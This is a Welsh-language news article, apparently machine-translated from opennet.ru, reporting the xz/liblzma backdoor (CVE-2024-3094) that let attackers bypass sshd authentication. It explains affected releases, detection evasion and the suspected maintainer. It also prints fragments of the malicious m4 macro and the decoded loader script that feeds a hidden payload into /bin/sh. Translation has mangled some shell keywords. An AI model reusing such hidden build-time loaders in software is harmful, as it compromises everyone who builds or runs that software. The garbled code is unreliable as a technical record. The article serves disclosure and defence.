Darganfuwyd drws cefn yn y llyfrgell xz/liblzma sy'n caniatáu mynediad trwy sshd

Yn y pecyn XZ Utils, sy'n cynnwys y llyfrgell liblzma a chyfleustodau ar gyfer gweithio gyda data cywasgedig yn y fformat “.xz”, mae drws cefn (CVE-2024-3094) wedi'i nodi sy'n caniatáu rhyng-gipio ac addasu data a brosesir gan gymwysiadau cysylltiedig gyda'r llyfrgell liblzma. Prif darged y drws cefn yw'r gweinydd OpenSSH, sydd mewn rhai dosbarthiadau wedi'i bwndelu â'r llyfrgell libsystemd, sydd yn ei dro yn defnyddio liblzma. Mae cysylltu sshd â llyfrgell sy'n agored i niwed yn caniatáu i ymosodwyr gael mynediad i'r gweinydd SSH heb ddilysu.

Roedd y drws cefn yn bresennol yn y datganiadau swyddogol 5.6.0 a 5.6.1, a gyhoeddwyd ar Chwefror 24 a Mawrth 9, a lwyddodd i fynd i mewn i rai dosbarthiadau ac ystorfeydd, er enghraifft, Gentoo, Arch Linux, Debian sid / ansefydlog, Fedora Rawhide a 40-beta, ffatri openSUSE a tumbleweed, LibreELEC, ymyl Alpaidd, Solus, NixOS ansefydlog, OpenIndiana, OpenMandriva treigl, pkgsrc cyfredol, Slackware presennol, Manjaro profi. Argymhellir bod holl ddefnyddwyr datganiadau xz 5.6.0 a 5.6.1 yn dychwelyd ar frys i fersiwn 5.4.6.

Ymhlith y ffactorau sy'n lliniaru'r broblem, gellir nodi nad oedd y fersiwn o liblzma gyda backdoor yn llwyddo i ddod yn rhan o'r datganiadau sefydlog o ddosbarthiadau mawr, ond yn effeithio ar openSUSE Tumbleweed a Fedora 40-beta. Defnyddiodd Arch Linux a Gentoo fersiwn sy'n agored i niwed o zx, ond nid ydynt yn agored i'r ymosodiad oherwydd nad ydynt yn cymhwyso'r darn systemd-hysbysiad i openssh, sy'n achosi sshd i fod yn gysylltiedig â liblzma. Mae'r drws cefn yn effeithio ar systemau x86_64 yn unig yn seiliedig ar y cnewyllyn Linux a llyfrgell Glibc C.

Cafodd y cod actifadu drws cefn ei guddio mewn macros m4 o'r ffeil build-to-host.m4 a ddefnyddir gan y pecyn cymorth automake wrth adeiladu. Yn ystod y gwasanaeth, wrth gyflawni gweithrediadau cymhleth cymhleth yn seiliedig ar archifau (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), a ddefnyddiwyd i brofi cywirdeb gweithrediad, cynhyrchwyd ffeil gwrthrych gyda chod maleisus, a gafodd ei gynnwys yn y llyfrgell liblzma a newidiodd y rhesymeg gweithredu rhai o'i swyddogaethau. Roedd y macros m4 sy'n actifadu'r drws cefn wedi'u cynnwys yn y tarballs rhyddhau, ond nid oeddent yn y storfa Git. Ar yr un pryd, roedd archifau prawf maleisus yn bresennol yn y gadwrfa, h.y. roedd gan y person a weithredodd y drws cefn fynediad i'r ystorfa a'r prosesau cynhyrchu rhyddhau.

Wrth ddefnyddio liblzma mewn cymwysiadau, gellid defnyddio newidiadau maleisus i ryng-gipio neu addasu data, neu effeithio ar weithrediad sshd. Yn benodol, fe wnaeth y cod maleisus ffugio swyddogaeth RSA_public_decrypt i osgoi'r broses ddilysu sshd. Roedd y drws cefn yn cynnwys amddiffyniad rhag canfod ac nid oedd yn amlygu ei hun pan osodwyd y newidynnau amgylchedd LANG a TERM (h.y., wrth redeg y broses yn y derfynell) ac ni osodwyd y newidynnau amgylchedd LD_DEBUG a LD_PROFILE, a chafodd ei actifadu hefyd wrth weithredu'r newidynnau amgylchedd ffeil gweithredadwy /usr/sbin/sshd . Roedd gan y drws cefn hefyd fodd o ganfod dienyddiad mewn amgylcheddau dadfygio.

Yn benodol, defnyddiodd y ffeil m4/build-to-host.m4 gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_rhagddodiad -d 2>/dev/null'

Yn y gwaith adeiladu cyntaf, daeth y gweithrediad grep o hyd i'r profion ffeil/files/bad-3-corrupt_lzma2.xz, a oedd, o'i ddadbacio, wedi cynhyrchu'r sgript: ####Helo#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && gadael 0 [ ! $(uname) = "Linux" ] && gadael 0 [ ! $(uname) = "Linux" ] && gadael 0 [ ! $(uname) = "Linux" ] && gadael 0 [ ! $(uname) = "Linux" ] && gadael 0 eval `grep ^srcdir= config.status` os prawf -f ../../config.status;yna eval `grep ^srcdir= ../../config .status` srcdir = "../../$srcdir» fi allforio i=»((pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/) null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen - c +1024 >/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen - c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/ dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && ( pen -c +1024 >/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +2048 && (pen -c +1024>/dev/null) && pen -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50- \113 "" "\0-\377")|xz -F amrwd —lzma1 -dc|/bin/sh ####World####

Nid yw sut y llwyddodd yr ymosodwyr i gael mynediad i seilwaith y prosiect xz wedi'i egluro'n llawn eto. Nid yw'n glir eto faint o ddefnyddwyr a phrosiectau a gyfaddawdwyd o ganlyniad i'r drws cefn. Gohebodd awdur honedig y backdoor (JiaT75 - Jia Tan), a bostiodd archifau gyda chod maleisus yn yr ystorfa, â datblygwyr Fedora ac anfonodd geisiadau tynnu at Debian yn ymwneud â throsglwyddo dosraniadau i'r gangen xz 5.6.0, ac ni wnaethant codi amheuaeth, ers iddo gymryd rhan yn xz wedi bod yn datblygu am y ddwy flynedd diwethaf a dyma'r ail ddatblygwr o ran nifer y newidiadau a wnaed. Yn ogystal â'r prosiect xz, cymerodd awdur honedig y drws cefn hefyd ran yn natblygiad y pecynnau xz-java a xz-emedded. Ar ben hynny, cynhwyswyd Jia Tan ychydig ddyddiau yn ôl yn nifer y cynhalwyr y prosiect XZ Embedded a ddefnyddir yn y cnewyllyn Linux.

Darganfuwyd y newid maleisus ar ôl dadansoddi defnydd gormodol CPU a gwallau a gynhyrchir gan valgrind wrth gysylltu trwy ssh i systemau sy'n seiliedig ar sid Debian. Mae'n werth nodi bod y datganiad xz 5.6.1 yn cynnwys newidiadau a baratowyd gan awdur honedig y backdoor mewn ymateb i gwynion am arafu sshd a damweiniau a gododd ar ôl uwchraddio i'r fersiwn zx 5.6.0 gyda'r backdoor. Yn ogystal, y llynedd gwnaeth Jia Tan newidiadau a oedd yn anghydnaws â'r modd arolygu "-fsanitize=address", gan achosi iddo fod yn anabl yn ystod profion fuzz.

Ffynhonnell: opennet.ru

Ychwanegu sylw